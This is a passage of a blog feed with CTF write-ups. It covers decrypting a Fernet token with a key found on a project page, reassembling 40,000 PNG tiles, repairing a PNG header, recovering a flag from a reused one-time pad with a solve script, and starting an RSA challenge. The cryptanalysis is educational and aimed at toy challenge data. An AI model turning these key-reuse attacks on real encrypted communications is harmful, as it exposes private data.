</span></span><span style="display:flex;"><span><span style="color:#75715e"># The following string wil be encrypted</span>
</span></span><span style="display:flex;"><span>message <span style="color:#f92672">=</span> encrypted_caesar
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Choose key</span>
</span></span><span style="display:flex;"><span>key <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;NgsiRrqIgPCK_HS5eyFKAFBUQKHg0iVF4fYCNkiaPtA=&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Instantiate the Fernet class with the key</span>
</span></span><span style="display:flex;"><span>fernet <span style="color:#f92672">=</span> Fernet(key)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Encrypt string</span>
</span></span><span style="display:flex;"><span>encMessage <span style="color:#f92672">=</span> fernet<span style="color:#f92672">.</span>encrypt(message<span style="color:#f92672">.</span>encode())
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;Final encrypted string: &#34;</span>, encMessage)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#DONE</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># To decrypt the Fernet encryption</span>
</span></span><span style="display:flex;"><span>key <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;NgsiRrqIgPCK_HS5eyFKAFBUQKHg0iVF4fYCNkiaPtA=&#39;</span>
</span></span><span style="display:flex;"><span>fernet <span style="color:#f92672">=</span> Fernet(key)
</span></span><span style="display:flex;"><span>decMessage <span style="color:#f92672">=</span> fernet<span style="color:#f92672">.</span>decrypt(encMessage)<span style="color:#f92672">.</span>decode()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">&#34;decrypted string: &#34;</span>, decMessage)
</span></span></code></pre></div><h2 id="exploit">&ldquo;Exploit&rdquo;</h2>
<p>Trying to decrypt the base64 from the second image using the key in the script doesn&rsquo;t seem to work:</p>
<pre tabindex="0"><code class="language-ipython" data-lang="ipython">In [1]: from cryptography.fernet import Fernet

In [2]: msg = b&#39;gAAAAABlGGNchBj3H1orqbqt61tAhylu-wAXMzh0ADerA1bRWuX9Tyfpo51sG3dD
   ...: ja9VK6N3ql6i941F5f4s40YDXKNEPEIDlWysUylZHa8B8OJ8Gw3gHRE=&#39;

In [3]: key = b&#39;NgsiRrqIgPCK_HS5eyFKAFBUQKHg0iVF4fYCNkiaPtA=&#39;

In [4]: fernet = Fernet(key)

In [5]: fernet.decrypt(msg)
---------------------------------------------------------------------------
InvalidSignature                          Traceback (most recent call last)
File /opt/homebrew/lib/python3.11/site-packages/cryptography/fernet.py:134, in Fernet._verify_signature(self, data)
    133 try:
--&gt; 134     h.verify(data[-32:])
    135 except InvalidSignature:

InvalidSignature: Signature did not match digest.

During handling of the above exception, another exception occurred:

InvalidToken                              Traceback (most recent call last)
Cell In[5], line 1
----&gt; 1 fernet.decrypt(msg)

File /opt/homebrew/lib/python3.11/site-packages/cryptography/fernet.py:91, in Fernet.decrypt(self, token, ttl)
     89 else:
     90     time_info = (ttl, int(time.time()))
---&gt; 91 return self._decrypt_data(data, timestamp, time_info)

File /opt/homebrew/lib/python3.11/site-packages/cryptography/fernet.py:152, in Fernet._decrypt_data(self, data, timestamp, time_info)
    149     if current_time + _MAX_CLOCK_SKEW &lt; timestamp:
    150         raise InvalidToken
--&gt; 152 self._verify_signature(data)
    154 iv = data[9:25]
    155 ciphertext = data[25:-32]

File /opt/homebrew/lib/python3.11/site-packages/cryptography/fernet.py:136, in Fernet._verify_signature(self, data)
    134     h.verify(data[-32:])
    135 except InvalidSignature:
--&gt; 136     raise InvalidToken

InvalidToken:
</code></pre><h3 id="the-correct-key">The Correct Key</h3>
<p>So we need to find another key. This is where I used a lot of time trying to find it, till I stumbled over the users project page, where I found it in a project named private:</p>

    <img src="https://filehost.osiriz.xyz/homepage/img/fectf2023/unicornfanclubs/github_project.png"  class="center"  />


<p>So using the new key:</p>
<pre tabindex="0"><code class="language-ipython" data-lang="ipython">In [6]: key = b&#39;cS-49j8DIDMyBhzt7vwyR_yTqbxhaLCmR1pHLmtC0Aw=&#39;

In [7]: fernet = Fernet(key)

In [8]: fernet.decrypt(msg)
Out[8]: b&#39;fmx.pc/yrmgsvr_ai_pszi&#39;
</code></pre><p>and rot decoding the result we get <code>bit.ly/unicorn_we_love</code> which leads us to <code>https://www.dropbox.com/scl/fo/kwhyvof1eswx2yhhahqne/h?rlkey=ikxvc7igjntca00r2mxp5da4b</code>, where we can download a txt file:

    <img src="https://filehost.osiriz.xyz/homepage/img/fectf2023/unicornfanclubs/dropbox.png"  class="center"  />

</p>
<p>But the file is actually a jpeg file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ file perfection.txt
</span></span><span style="display:flex;"><span>perfection.txt: JPEG image data, JFIF standard 1.01, aspect ratio,
</span></span><span style="display:flex;"><span>density 1x1, segment length 16, baseline, precision 8, 1576x1148,
</span></span><span style="display:flex;"><span>components 3
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ mv perfection.<span style="color:#f92672">{</span>txt,jpg<span style="color:#f92672">}</span>
</span></span></code></pre></div><h3 id="flag">Flag</h3>
<p>And we now got the following image:

    <img src="https://filehost.osiriz.xyz/homepage/img/fectf2023/unicornfanclubs/perfection.jpg"  class="center"  />

</p>
<p>And the flag is <code>flag{JuTLaND4ever&lt;3}</code></p>
]]></content></item><item><title>DDC 2023 Nationals - A Thousand Pieces</title><link>https://osiriz.dev/posts/2023/05/ddc-2023-nationals-a-thousand-pieces/</link><pubDate>Sun, 07 May 2023 21:30:00 +0200</pubDate><guid>https://osiriz.dev/posts/2023/05/ddc-2023-nationals-a-thousand-pieces/</guid><description>We are given 40000 4x3 PNG files split evenly into 4 directories:
$ find . -iname &amp;#34;*.png&amp;#34; | wc -l 40000 $ ls -lh total 0 drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 0 drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 1 drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 2 drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 3 So we just need to reassemble the image from all the sections.</description><content type="html"><![CDATA[<p>We are given 40000 4x3 PNG files split evenly into 4 directories:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ find . -iname <span style="color:#e6db74">&#34;*.png&#34;</span> | wc -l
</span></span><span style="display:flex;"><span>40000
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ ls -lh
</span></span><span style="display:flex;"><span>total 0
</span></span><span style="display:flex;"><span>drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 0
</span></span><span style="display:flex;"><span>drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 1
</span></span><span style="display:flex;"><span>drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 2
</span></span><span style="display:flex;"><span>drwxrwxr-x 1 osiriz osiriz 291K Mar 31 11:38 3
</span></span></code></pre></div><p>So we just need to reassemble the image from all the sections.
Since the images are divided into 4 directories of 10000 images,
I guessed it was 4 100x100 (400x300 pixels) images combined into a single image.</p>
<p>So I used <a href="https://python-pillow.org/">Pillow</a> to assemble the image:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> PIL <span style="color:#f92672">import</span> Image
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>result <span style="color:#f92672">=</span> Image<span style="color:#f92672">.</span>new(<span style="color:#e6db74">&#39;RGB&#39;</span>, (<span style="color:#ae81ff">800</span>, <span style="color:#ae81ff">600</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Make the bigger squares and combine them on the result image</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">4</span>):
</span></span><span style="display:flex;"><span>    subimage <span style="color:#f92672">=</span> Image<span style="color:#f92672">.</span>new(<span style="color:#e6db74">&#39;RGB&#39;</span>, (<span style="color:#ae81ff">400</span>, <span style="color:#ae81ff">300</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Loop over all squares in directory</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">10000</span>):
</span></span><span style="display:flex;"><span>        subcol <span style="color:#f92672">=</span> j <span style="color:#f92672">%</span> <span style="color:#ae81ff">100</span>
</span></span><span style="display:flex;"><span>        subrow <span style="color:#f92672">=</span> j <span style="color:#f92672">//</span> <span style="color:#ae81ff">100</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">with</span> Image<span style="color:#f92672">.</span>open(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">{</span>i<span style="color:#e6db74">}</span><span style="color:#e6db74">/square-</span><span style="color:#e6db74">{</span>j<span style="color:#e6db74">}</span><span style="color:#e6db74">.png&#34;</span>) <span style="color:#66d9ef">as</span> im:
</span></span><span style="display:flex;"><span>            subimage<span style="color:#f92672">.</span>paste(im<span style="color:#f92672">=</span>im, box<span style="color:#f92672">=</span>(subcol<span style="color:#f92672">*</span><span style="color:#ae81ff">4</span>, subrow<span style="color:#f92672">*</span><span style="color:#ae81ff">3</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    col <span style="color:#f92672">=</span> i <span style="color:#f92672">%</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>    row <span style="color:#f92672">=</span> i <span style="color:#f92672">//</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    result<span style="color:#f92672">.</span>paste(im<span style="color:#f92672">=</span>subimage, box<span style="color:#f92672">=</span>(col<span style="color:#f92672">*</span><span style="color:#ae81ff">400</span>, row<span style="color:#f92672">*</span><span style="color:#ae81ff">300</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>result<span style="color:#f92672">.</span>save(<span style="color:#e6db74">&#34;flag.png&#34;</span>, <span style="color:#e6db74">&#34;PNG&#34;</span>)
</span></span></code></pre></div><ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/ddc2023/a_thousand_pieces/solve.py">solve.py</a></li>
</ul>
<p>An we get the following image:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/a_thousand_pieces/flag.png"  class="center"  />

</p>
]]></content></item><item><title>DDC 2023 Regionals - PNG Magic</title><link>https://osiriz.dev/posts/2023/04/ddc-2023-regionals-png-magic/</link><pubDate>Tue, 18 Apr 2023 19:00:00 +0200</pubDate><guid>https://osiriz.dev/posts/2023/04/ddc-2023-regionals-png-magic/</guid><description>We are given magic.png file, which we cannot open: Lets try and open it in hexedit to look at the file header: Seems like the PNG magic bytes is missing, so we write them in: But we still fail: Lets use pngcheck to see what is wrong: If the open the file in hexedit again we can see that the IHDR chunk was renamed to JHDR: Lets change that: Lets check it now: Lets fix the checksum: We can know open the image: Hmm&amp;hellip; no flag, seems like we are missing something, lets see if we can add some more height to the image.</description><content type="html"><![CDATA[<p>We are given magic.png file, which we cannot open:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/magicbytes_missing.png"  class="center"  />

</p>
<p>Lets try and open it in hexedit to look at the file header:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/hexedit1.png"  class="center"  />

</p>
<p>Seems like the PNG magic bytes is missing, so we write them in:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/magicbytes_fix.png"  class="center"  />

</p>
<p>But we still fail:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/second_error.png"  class="center"  />

</p>
<p>Lets use <code>pngcheck</code> to see what is wrong:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/ihdr_missing.png"  class="center"  />

</p>
<p>If the open the file in hexedit again we can see that the IHDR chunk was renamed to JHDR:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/hexedit2.png"  class="center"  />

</p>
<p>Lets change that:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/ihdr_fixed.png"  class="center"  />

</p>
<p>Lets check it now:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/crc_error1.png"  class="center"  />

</p>
<p>Lets fix the checksum:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/crc_fixed1.png"  class="center"  />

</p>
<p>We can know open the image:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/magic1.png"  class="center"  />

</p>
<p>Hmm&hellip; no flag, seems like we are missing something, lets see if we can add some more height to the image.</p>
<p>Looking at <a href="https://en.wikipedia.org/wiki/PNG">wikipedia</a> we can see the IHDR chunk defines the weight and height of the image:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/ihdr_specs.png"  class="center"  />

</p>
<p>So lets change the height:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/height_fixed.png"  class="center"  />

</p>
<p>If we check <code>pngcheck</code> we can see that the crc doesn&rsquo;t match anymore again:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/crc_error2.png"  class="center"  />

</p>
<p>So lets fix that:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/crc_fixed2.png"  class="center"  />

</p>
<p>We can now open the image and see the flag:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/pngmagic/magic2.png"  class="center"  />

</p>
<p>And we get the flag: <code>DDC{PNG_f1l3_m4g1c14n}</code></p>
]]></content></item><item><title>DDC 2023 Regionals - One Time Too Much</title><link>https://osiriz.dev/posts/2023/04/ddc-2023-regionals-one-time-too-much/</link><pubDate>Sun, 16 Apr 2023 20:00:00 +0200</pubDate><guid>https://osiriz.dev/posts/2023/04/ddc-2023-regionals-one-time-too-much/</guid><description>We are given a python script that encrypts two strings (both with the flag appended) with a random one time pad:
import os # read flag in as bytes with open(&amp;#34;flag.txt&amp;#34;, &amp;#34;rb&amp;#34;) as f: flag = f.read() # XOR&amp;#39;s two bytestrings together. def xor(a,b): xor_result = b&amp;#39;&amp;#39; for i in range(len(a)): xor_result += bytes([a[i]^b[i]]) return xor_result # sample a completely random 200 byte one time pad! one_time_pad = os.urandom(200) # two similar messages are sent using the same pad.</description><content type="html"><![CDATA[<p>We are given a python script that encrypts two strings (both with the flag appended) with a random one time pad:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> os
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># read flag in as bytes</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;flag.txt&#34;</span>, <span style="color:#e6db74">&#34;rb&#34;</span>) <span style="color:#66d9ef">as</span> f:
</span></span><span style="display:flex;"><span>    flag <span style="color:#f92672">=</span> f<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># XOR&#39;s two bytestrings together.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">xor</span>(a,b):
</span></span><span style="display:flex;"><span>    xor_result <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(a)):
</span></span><span style="display:flex;"><span>        xor_result <span style="color:#f92672">+=</span> bytes([a[i]<span style="color:#f92672">^</span>b[i]])
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> xor_result
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># sample a completely random 200 byte one time pad!</span>
</span></span><span style="display:flex;"><span>one_time_pad <span style="color:#f92672">=</span> os<span style="color:#f92672">.</span>urandom(<span style="color:#ae81ff">200</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># two similar messages are sent using the same pad.</span>
</span></span><span style="display:flex;"><span>msg1 <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;was the flag for the challenge &#39;</span> <span style="color:#f92672">+</span> flag
</span></span><span style="display:flex;"><span>msg2 <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;yeah, the flag was definitely &#39;</span> <span style="color:#f92672">+</span> flag
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>enc_msg_1 <span style="color:#f92672">=</span> xor(msg1,one_time_pad)
</span></span><span style="display:flex;"><span>enc_msg_2 <span style="color:#f92672">=</span> xor(msg2,one_time_pad)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># convert bytes to/from hex for easy storage</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">assert</span> bytes<span style="color:#f92672">.</span>fromhex(enc_msg_1<span style="color:#f92672">.</span>hex()) <span style="color:#f92672">==</span> enc_msg_1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;enc_msg_1 = </span><span style="color:#e6db74">{</span>enc_msg_1<span style="color:#f92672">.</span>hex()<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;enc_msg_2 = </span><span style="color:#e6db74">{</span>enc_msg_2<span style="color:#f92672">.</span>hex()<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;</span>)
</span></span></code></pre></div><p>and the output of this script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>enc_msg_1 = b3e67510220da045ac68b2d3f5f5c7d4b8cd6c7bb914003103707dc964328221955fc12856efcf6a756147dcef6bb64c23dafb2df3a4f79f32e4791dce3a7f59662ed7e094a0af9b3d7e276e56d3c514ffd050dfa9d6be25e026c3ae
</span></span><span style="display:flex;"><span>enc_msg_2 = bde267587a45b10daf24b5d8b4f488d1f9ca247afc11013e06687dcb7a77e6219267ce2951f3d246457b46f7df6abd7608c7ff25c99af58833f0741ddb1c524e6223d7f5b2cbe98c3973145c5ed7ca09d3c051d4b3fda321e83eb4
</span></span></code></pre></div><p>We can most of the one time pad by xoring the known plaintext and ciphertext to recreate it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">xor</span>(a,b):
</span></span><span style="display:flex;"><span>    xor_result <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(a)):
</span></span><span style="display:flex;"><span>        xor_result <span style="color:#f92672">+=</span> bytes([a[i]<span style="color:#f92672">^</span>b[i]])
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> xor_result
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msg1 <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;was the flag for the challenge &#39;</span>
</span></span><span style="display:flex;"><span>enc_msg_1 <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(<span style="color:#e6db74">&#34;b3e67510220da045ac68b2d3f5f5c7d4b8cd6c7bb914003103707dc964328221955fc12856efcf6a756147dcef6bb64c23dafb2df3a4f79f32e4791dce3a7f59662ed7e094a0af9b3d7e276e56d3c514ffd050dfa9d6be25e026c3ae&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>otp <span style="color:#f92672">=</span> xor(msg1, enc_msg_1)
</span></span><span style="display:flex;"><span>print(otp)
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ python crack_otp.py
</span></span><span style="display:flex;"><span>b&#39;\xc4\x87\x060Ve\xc5e\xca\x04\xd3\xb4\xd5\x93\xa8\xa6\x98\xb9\x04\x1e\x99whPo\x1c\x18\xa
</span></span></code></pre></div><p>We still havent recreated enough to decrypt the flag.</p>
<p>We observe that <code>msg1</code> is one character longer then <code>msg2</code>:</p>
<pre tabindex="0"><code class="language-ipython" data-lang="ipython">In [1]: msg1 = b&#39;was the flag for the challenge &#39;
   ...: msg2 = b&#39;yeah, the flag was definitely &#39;

In [2]: len(msg1)
Out[2]: 31

In [3]: len(msg2)
Out[3]: 30
</code></pre><p>We can use this extra character to recreate 31 bytes of the one time pad and then use the 31st byte to decrypt the first byte of the appended flag in the second, then add that byte to the first cleartext, calculate the 32nd byte of the one time pad and rinse and repeat this process for all bytes of the flag.</p>
<p>The solve script would look like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">xor</span>(a,b):
</span></span><span style="display:flex;"><span>    xor_result <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(a)):
</span></span><span style="display:flex;"><span>        xor_result <span style="color:#f92672">+=</span> bytes([a[i]<span style="color:#f92672">^</span>b[i]])
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> xor_result
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msg1 <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;was the flag for the challenge &#39;</span>
</span></span><span style="display:flex;"><span>msg2 <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;yeah, the flag was definitely &#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>enc_msg_1 <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(<span style="color:#e6db74">&#34;b3e67510220da045ac68b2d3f5f5c7d4b8cd6c7bb914003103707dc964328221955fc12856efcf6a756147dcef6bb64c23dafb2df3a4f79f32e4791dce3a7f59662ed7e094a0af9b3d7e276e56d3c514ffd050dfa9d6be25e026c3ae&#34;</span>)
</span></span><span style="display:flex;"><span>enc_msg_2 <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(<span style="color:#e6db74">&#34;bde267587a45b10daf24b5d8b4f488d1f9ca247afc11013e06687dcb7a77e6219267ce2951f3d246457b46f7df6abd7608c7ff25c99af58833f0741ddb1c524e6223d7f5b2cbe98c3973145c5ed7ca09d3c051d4b3fda321e83eb4&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>otp <span style="color:#f92672">=</span> xor(msg1, enc_msg_1)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> _ <span style="color:#f92672">in</span> range(len(otp)<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, len(enc_msg_2)):
</span></span><span style="display:flex;"><span>    char <span style="color:#f92672">=</span> xor(otp, enc_msg_2)[<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]<span style="color:#f92672">.</span>to_bytes(<span style="color:#ae81ff">1</span>, <span style="color:#e6db74">&#39;big&#39;</span>)
</span></span><span style="display:flex;"><span>    msg1 <span style="color:#f92672">+=</span> char
</span></span><span style="display:flex;"><span>    otp <span style="color:#f92672">=</span> xor(msg1, enc_msg_1)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">otp = </span><span style="color:#e6db74">{</span>otp<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">msg1 = </span><span style="color:#e6db74">{</span>xor(enc_msg_1, otp)<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">msg2 = </span><span style="color:#e6db74">{</span>xor(enc_msg_2, otp)<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ python solve.py
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>otp = b&#39;\xc4\x87\x060Ve\xc5e\xca\x04\xd3\xb4\xd5\x93\xa8\xa6\x98\xb9\x04\x1e\x99whPo\x1c\x18\xa7\x03W\xa2e\xd1\x1c\xba\\#\x9d\xa1\x19*\x0e2\xa8\xb0\x04\xd8)|\xae\x92@\x96\xfb\x96\xfcF\x91\x18q\xa2C +\x03O\xbb\x8c\xed\xff\x9b\xe9X\x1fK1;\xb6\xa4z\x8c\x8f\x1f\x91\xec\x89\xcaL\x8dC\xbe\xa4&#39;
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>msg1 = b&#39;was the flag for the challenge DDC{turns_out_one_time_actually_really_4real_means_ONE_time}\n&#39;
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>msg2 = b&#39;yeah, the flag was definitely DDC{turns_out_one_time_actually_really_4real_means_ONE_time}\n&#39;
</span></span></code></pre></div><p>And we got the flag: <code>DDC{turns_out_one_time_actually_really_4real_means_ONE_time}</code></p>
]]></content></item><item><title>DDC 2023 Qualification - Baby Rsa</title><link>https://osiriz.dev/posts/2023/03/ddc-2023-qualification-baby-rsa/</link><pubDate>Mon, 20 Mar 2023 09:30:00 +0100</pubDate><guid>https://osiriz.dev/posts/2023/03/ddc-2023-qualification-baby-rsa/</guid><description>We are given a text file: babyRSA.txt, with the following contents:
n = 14591059584728658996740718896274912924434702993948401065953397352995339910088088733574991258740736943162240984607294149798518974390850442269320587130740348332766777840789060640046077889381042022860333067208949242541537029834713571632092399544412860224638358821688934376008405448120397447357043233351572894555161097157298917757903358450051781374553895783095933436102637259148017787894728417663857683547045820798741292596714992103546619732559091189051271145488307258679223962750029735466371748284344268969024995984222371842720543906957141892627260247305180561557377683921023735478606199803707739027008690484139631874629 e = 65537 ciphertext = 8370482736029746802272435856905582692197472046878613623126167436276048925497192051855114861968301986740953539053163947192721440270870275675104799441533614895688983570828061357190863655539868022793932838551215620997098363666548621341103618946043035652810120255282119559608036421751056052625158822827831595069995146507062852262681451781903083499147508262669740286416571718635819352694698805949316507535002658526810142183807237137069555203580152352863371601204706128986849512578411079323120877340385328130962702308650000566212396403238074531227510385807269241298909102687880672710693216031720613169757344140890527855180 # What&amp;#39;s the plaintext? this might help! p = 135118121033494444903135040650593867761183730711309803684324950423162537667458806301698825106852556296618752800474983408511120590602816857766798006294318907531661438883032776328539787015720714526094491835105378129306305286637613861991613352256006427593441280185940386266360182068694185435614508146253927535219 q = 107987437015288865195226926953887120405158392241008731414825285641627743723768153549068145296919127709072426332548919995869779098499543714252696254999551997426879319789809420841712042595904693470932881039466995302317325926476459209840274875302406142467069199349897038463278476940799410775560424588456195916391 We know from the name, that this most have something to do with RSA, and that we have the n, e, ciphertext, p and q values.
We can plot these into www.dcode.fr/rsa-cipher:
